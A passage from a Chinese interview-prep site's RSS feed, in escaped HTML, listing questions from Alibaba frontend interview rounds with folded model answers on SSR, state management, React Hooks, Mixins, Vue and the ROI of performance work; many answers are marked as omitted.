&lt;h3 id="24-关联业务价值与性能指标"&gt;2.4 关联业务价值与性能指标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;通过数据分析建立性能指标与业务指标的映射关系，比如：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;首屏加载时间缩短 1 秒，转化率提升 5%&lt;br&gt;&lt;/li&gt;
&lt;li&gt;页面响应延迟减少，用户流失率降低&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;结合历史数据或行业调研，预估性能改进带来的经济效益&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="25-评估流程示例"&gt;2.5 评估流程示例&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;明确优化目标&lt;/strong&gt;：确定需优化的性能瓶颈和预期改进幅度&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;估算投入成本&lt;/strong&gt;：评估开发时间、人力、资源等投入&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;预估收益&lt;/strong&gt;：基于数据和业务指标推算收益大小&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;计算 ROI&lt;/strong&gt;：收益 / 投入，判断是否值得投资&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持续监控&lt;/strong&gt;：优化上线后跟踪实际效果，调整策略&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="26-风险与非量化因素考虑"&gt;2.6 风险与非量化因素考虑&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用户体验提升虽难量化，但对品牌和用户粘性极重要&lt;br&gt;&lt;/li&gt;
&lt;li&gt;竞争压力、市场趋势等外部因素可能影响 ROI&lt;br&gt;&lt;/li&gt;
&lt;li&gt;技术债务减少，长期维护成本降低也是重要收益&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三常见误区或面试陷阱"&gt;三、常见误区或面试陷阱&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;❌ 只关注技术指标优化，忽视业务价值转化&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 低估开发和维护成本，导致投入超出预期&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 盲目追求极致性能，忽略边际效益递减&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 缺乏数据支持，ROI 评估主观臆断&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-896a0dfe68d9"&gt;4. 项目风险遇到过哪些 ，怎么解决的&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-5年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-104/</link><pubDate>Mon, 28 Jul 2025 13:12:16 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-104/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-103/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-105/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 浏览器的缓存机制、react hooks&lt;/p&gt;
&lt;p&gt;本轮共 11 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-ec00bef3ae1f"&gt;1. 魔方组件的整体架构设计，包括其模块划分和核心功能&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-5fbb94f70c45"&gt;2. 你们是如何选择技术栈的？有哪些关键因素影响了决策&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-6609cb7e68a2"&gt;3. 魔方组件如何实现动态加载，以提升初始加载性能&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-6341793e1f2f"&gt;4. 魔方组件如何管理组件的配置信息？组件之间的通信是如何处理的&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-1c18a4d18c05"&gt;5. 三维模型的加载性能，将加载时间从10秒缩短至3秒都做了哪些操作&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-eccb4b551bdc"&gt;6. 这个项目中在移动端，你们是如何处理不同设备的适配问题的&lt;/h2&gt;
&lt;h3 id="题目要点-5"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-d2890bee3f50"&gt;7. 有没有用服务端渲染（SSR）？如果有，你们是如何实现的&lt;/h2&gt;
&lt;h3 id="题目要点-6"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;SSR 是服务器预先渲染页面，提高首屏性能和 SEO&lt;br&gt;&lt;/li&gt;
&lt;li&gt;常用框架有 Next.js、Nuxt.js，也可自研实现&lt;br&gt;&lt;/li&gt;
&lt;li&gt;实现时结合服务器渲染和客户端 Hydration 完成完整页面交互&lt;br&gt;&lt;/li&gt;
&lt;li&gt;需处理代码共享、数据预取、样式加载及性能优化&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解 SSR 的局限性和优化难点，合理权衡使用场景&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;理解 SSR 的基本概念和优势&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握常见 SSR 实现方案及其原理&lt;br&gt;&lt;/li&gt;
&lt;li&gt;理解 SSR 与客户端渲染（CSR）的区别和协同方式&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解 SSR 在项目中的具体落地方法和技术选型&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-ssr-的基本概念"&gt;2.1 SSR 的基本概念&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;SSR（Server-Side Rendering）是指在服务器端完成页面的 HTML 渲染，再将完整的 HTML 返回给客户端&lt;br&gt;&lt;/li&gt;
&lt;li&gt;相比纯客户端渲染，SSR 提升了首屏渲染速度和 SEO 友好性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;用户拿到的是已渲染好的页面，浏览器可以更快显示内容&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-ssr-的优势和适用场景"&gt;2.2 SSR 的优势和适用场景&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;首屏速度快&lt;/strong&gt;：浏览器无需等待大量 JS 执行即可显示页面&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO 优化&lt;/strong&gt;：搜索引擎能抓取到完整的内容，提升排名&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社交分享友好&lt;/strong&gt;：分享链接时可显示完整预览&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;适合内容型或公共站点&lt;/strong&gt;，电商、新闻、博客等场景&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="23-常见-ssr-实现方案"&gt;2.3 常见 SSR 实现方案&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Next.js&lt;/strong&gt;（React）：提供开箱即用的 SSR 支持和静态生成&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nuxt.js&lt;/strong&gt;（Vue）：Vue 生态的 SSR 框架，支持服务端渲染和静态导出&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自研 SSR&lt;/strong&gt;：使用 Node.js 搭配 ReactDOMServer 或 Vue SSR API 手动实现&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传统模板引擎&lt;/strong&gt;：如 EJS、Handlebars 等，服务器渲染 HTML&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="24-我们项目中-ssr-的实现方式"&gt;2.4 我们项目中 SSR 的实现方式&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用了 [Next.js / Nuxt.js / 自研 SSR] 作为 SSR 框架&lt;br&gt;&lt;/li&gt;
&lt;li&gt;服务器通过 Node.js 环境调用 ReactDOMServer.renderToString 或 Vue SSR 的 renderToString，生成完整 HTML&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合路由系统，实现根据请求 URL 渲染对应页面&lt;br&gt;&lt;/li&gt;
&lt;li&gt;页面返回时携带初始数据（通过服务端数据预取），客户端接管 Hydration，实现页面交互&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合缓存策略，优化性能和响应速度&lt;br&gt;&lt;/li&gt;
&lt;li&gt;配合 Webpack 和 Babel，保证服务端代码和客户端代码一致性&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="25-实现过程中需注意的问题"&gt;2.5 实现过程中需注意的问题&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;服务端和客户端代码共享及差异处理（避免浏览器 API 直接调用）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;初始数据的获取与注入，保证页面完整性和交互&lt;br&gt;&lt;/li&gt;
&lt;li&gt;处理样式加载，避免闪烁（FOUC）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;性能优化，如页面缓存、资源压缩和异步加载&lt;br&gt;&lt;/li&gt;
&lt;li&gt;服务器负载和扩展性考虑&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三常见误区或面试陷阱"&gt;三、常见误区或面试陷阱&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;❌ 认为 SSR 只是在服务器渲染静态 HTML，忽略客户端 Hydration&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 忽视服务端渲染的性能开销和状态同步难题&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 直接复用客户端代码，未处理服务端无 DOM 的环境差异&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 忽略 SEO 以外的性能和用户体验提升点&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-3785aa20675d"&gt;8. 项目中使用了哪些状态管理工具？为什么选择这些工具&lt;/h2&gt;
&lt;h3 id="题目要点-7"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;状态管理工具选择基于项目规模、团队经验和性能需求&lt;br&gt;&lt;/li&gt;
&lt;li&gt;Redux 适合大型复杂应用，MobX 适合响应式需求&lt;br&gt;&lt;/li&gt;
&lt;li&gt;Context 适合轻量局部状态管理&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合工具生态和中间件支持，提升开发效率和维护性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;合理划分全局与局部状态，避免状态管理复杂化&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点-1"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;理解不同状态管理工具的特点及适用场景&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握项目中选择状态管理工具的决策逻辑&lt;br&gt;&lt;/li&gt;
&lt;li&gt;能清晰阐述所选工具带来的优势和解决的问题&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解状态管理的基本概念和复杂度控制方法&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案-1"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-项目中使用的状态管理工具"&gt;2.1 项目中使用的状态管理工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Redux&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;适用于大型复杂应用，状态集中管理&lt;br&gt;&lt;/li&gt;
&lt;li&gt;具备时间旅行调试、可预测状态变更、丰富中间件生态&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MobX&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;响应式状态管理，自动追踪依赖，适合数据驱动视图更新&lt;br&gt;&lt;/li&gt;
&lt;li&gt;代码简洁，学习曲线较低&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;React Context + useReducer/useState&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;轻量级状态共享方案，适合中小型或局部状态管理&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Recoil / Zustand / Valtio 等轻量方案&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;现代灵活的状态管理，适合部分场景需求&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vuex（Vue 项目）&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;Vue 官方状态管理库，集中管理全局状态，支持插件扩展&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-选择这些工具的理由"&gt;2.2 选择这些工具的理由&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;项目规模与复杂度&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-5年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-103/</link><pubDate>Mon, 28 Jul 2025 12:42:07 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-103/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-104/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; React 生命周期、react hooks、JSX、react 渲染机制、React函数组件更新、react 组件设计模式&lt;/p&gt;
&lt;p&gt;本轮共 38 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-0e1759e87727"&gt;1. 你参与的主要项目是什么？是桌面端还是移动端项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-d691062b1d66"&gt;2. 在项目中主要使用了哪些技术栈&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-3ee00ddb36c7"&gt;3. 你对 Vue 有多少了解&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Vue 是数据驱动 + 响应式的组件化框架，适合快速构建中大型项目&lt;br&gt;&lt;/li&gt;
&lt;li&gt;熟悉其核心机制：响应式原理、组件生命周期、指令语法、虚拟 DOM&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握 Vue Router、Vuex/Pinia 等配套生态工具&lt;br&gt;&lt;/li&gt;
&lt;li&gt;能区分并熟练使用 Vue 2 和 Vue 3 的开发模式&lt;br&gt;&lt;/li&gt;
&lt;li&gt;具备优化性能、提升可维护性的工程意识&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;探查候选人对 Vue 核心原理、语法机制的理解深度&lt;br&gt;&lt;/li&gt;
&lt;li&gt;判断是否具备实战经验、组件开发能力、性能优化能力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;涵盖响应式系统、组件通信、生命周期、指令系统、虚拟 DOM、Diff 等关键技术点&lt;br&gt;&lt;/li&gt;
&lt;li&gt;Vue 生态栈是否熟悉，如 Vue Router、Vuex / Pinia、Composition API、Vue 3 升级等&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-vue-框架的整体认知"&gt;2.1 Vue 框架的整体认知&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Vue 是一个 &lt;strong&gt;轻量、渐进式的前端框架&lt;/strong&gt;，核心关注 View 层，易学易用，适合快速开发中大型应用&lt;/li&gt;
&lt;li&gt;支持响应式绑定、组件化开发、指令系统、虚拟 DOM、跨平台（如 H5、小程序）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vue 的核心组成包括：&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-3年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/round-102/</link><pubDate>Mon, 28 Jul 2025 12:38:24 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/round-102/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/round-101/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; react hooks、高阶组件、列表和key、react 渲染机制、react 组件设计模式、前端模块化、Webpack与Vite&lt;/p&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-f9a4ad22386a"&gt;1. 讲一下你对Hooks 了解&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Hooks 是函数组件状态和副作用管理的新方案&lt;br&gt;&lt;/li&gt;
&lt;li&gt;常用 Hooks 有 &lt;code&gt;useState&lt;/code&gt;、&lt;code&gt;useEffect&lt;/code&gt;、&lt;code&gt;useMemo&lt;/code&gt;、&lt;code&gt;useCallback&lt;/code&gt; 等&lt;br&gt;&lt;/li&gt;
&lt;li&gt;Hook 调用必须遵循规则，保证顺序稳定&lt;br&gt;&lt;/li&gt;
&lt;li&gt;自定义 Hooks 用于逻辑复用，提高代码可维护性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;理解 Hook 设计原理，有助于写出高质量 React 代码&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;理解 React Hooks 的设计初衷与核心概念&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握常用 Hooks（如 useState、useEffect、useMemo、useCallback 等）的作用与使用场景&lt;br&gt;&lt;/li&gt;
&lt;li&gt;理解 Hooks 规则及其背后的原理机制&lt;br&gt;&lt;/li&gt;
&lt;li&gt;认识 Hooks 对函数组件状态管理和生命周期的改进&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解自定义 Hooks 的设计思路及复用价值&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-hooks-的定义与设计初衷"&gt;2.1 Hooks 的定义与设计初衷&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：Hooks 是 React 16.8 引入的函数组件状态和副作用管理的特性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设计目标&lt;/strong&gt;：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;解决类组件中状态逻辑难以复用和组件嵌套过深的问题&lt;br&gt;&lt;/li&gt;
&lt;li&gt;让函数组件拥有类似类组件的状态和生命周期能力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;简化组件逻辑，提升代码可读性和复用性&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-常用-hooks-及其作用"&gt;2.2 常用 Hooks 及其作用&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hooks&lt;/th&gt;
&lt;th&gt;功能描述&lt;/th&gt;
&lt;th&gt;典型使用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;在函数组件中声明状态变量&lt;/td&gt;
&lt;td&gt;组件内部状态管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useEffect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;处理副作用（订阅、异步请求、DOM操作等）&lt;/td&gt;
&lt;td&gt;替代类组件的生命周期钩子&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;订阅 React Context，实现跨组件数据传递&lt;/td&gt;
&lt;td&gt;共享全局状态、主题、语言等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useMemo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;记忆计算结果，避免不必要的重复计算&lt;/td&gt;
&lt;td&gt;性能优化，避免昂贵计算重复执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useCallback&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;记忆函数实例，避免子组件重复渲染&lt;/td&gt;
&lt;td&gt;优化子组件性能，防止无意义的 props 变化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useRef&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;保存可变值，不触发组件重新渲染&lt;/td&gt;
&lt;td&gt;访问 DOM 节点或保存不变引用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="23-hooks-的规则与原理"&gt;2.3 Hooks 的规则与原理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;规则&lt;/strong&gt;：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;只能在函数组件或自定义 Hooks 中调用&lt;br&gt;&lt;/li&gt;
&lt;li&gt;只能顶层调用，不能在循环、条件或嵌套函数中调用，保证 Hook 调用顺序稳定&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：React 通过维护一个 Hook 链表和调用顺序，关联 Hook 状态与对应组件实例，实现状态的持久化和更新&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="24-自定义-hooks"&gt;2.4 自定义 Hooks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;将组件中可复用的状态逻辑抽象成函数&lt;br&gt;&lt;/li&gt;
&lt;li&gt;函数内部调用其他 Hooks，实现逻辑复用与拆分&lt;br&gt;&lt;/li&gt;
&lt;li&gt;提高代码复用性和可维护性&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三常见误区或面试陷阱"&gt;三、常见误区或面试陷阱&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;误用 Hook 规则，导致调用顺序不稳定&lt;br&gt;&lt;/li&gt;
&lt;li&gt;过度使用 &lt;code&gt;useEffect&lt;/code&gt;，产生复杂副作用链和性能问题&lt;br&gt;&lt;/li&gt;
&lt;li&gt;误解 &lt;code&gt;useMemo&lt;/code&gt; 和 &lt;code&gt;useCallback&lt;/code&gt; 的使用时机和作用&lt;br&gt;&lt;/li&gt;
&lt;li&gt;忽略依赖项数组，导致副作用不正确执行&lt;br&gt;&lt;/li&gt;
&lt;li&gt;不了解自定义 Hooks 是普通函数，不能在其中调用 Hook 规则外的逻辑&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-ba3489d6bd89"&gt;2. 对比 Class 组件的 Mixin 模式，Hooks 如何解决逻辑复用问题？Mixin 的主要缺陷是什么&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Mixin 依赖多继承，存在命名冲突、状态污染、难维护等问题&lt;br&gt;&lt;/li&gt;
&lt;li&gt;Hooks 通过函数组合和自定义 Hook 实现逻辑复用，避免冲突和复杂继承&lt;br&gt;&lt;/li&gt;
&lt;li&gt;Hooks 提升代码可读性、维护性、测试性和类型支持&lt;br&gt;&lt;/li&gt;
&lt;li&gt;React 官方推荐使用 Hooks 替代 Mixin 模式&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点-1"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;理解 Class 组件中 Mixin 的工作方式及缺陷&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握 Hooks 解决组件逻辑复用的机制和优势&lt;br&gt;&lt;/li&gt;
&lt;li&gt;比较两种方案在代码组织、维护性和复用性上的差异&lt;br&gt;&lt;/li&gt;
&lt;li&gt;理解现代 React 设计理念和组件开发最佳实践&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案-1"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-mixin-模式及其缺陷"&gt;2.1 Mixin 模式及其缺陷&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mixin 定义&lt;/strong&gt;：通过多个类混入（mixin）共享方法和状态，Class 组件通过继承或组合多个 mixin 实现代码复用&lt;br&gt;&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-3年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/round-101/</link><pubDate>Mon, 28 Jul 2025 12:26:34 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/round-101/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/round-102/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; react 事件机制、React 生命周期、state 与 props&lt;/p&gt;
&lt;p&gt;本轮共 13 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-ee8affda6741"&gt;1. 实现全屏水平垂直居中、宽高为屏幕宽度一半的正方形&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
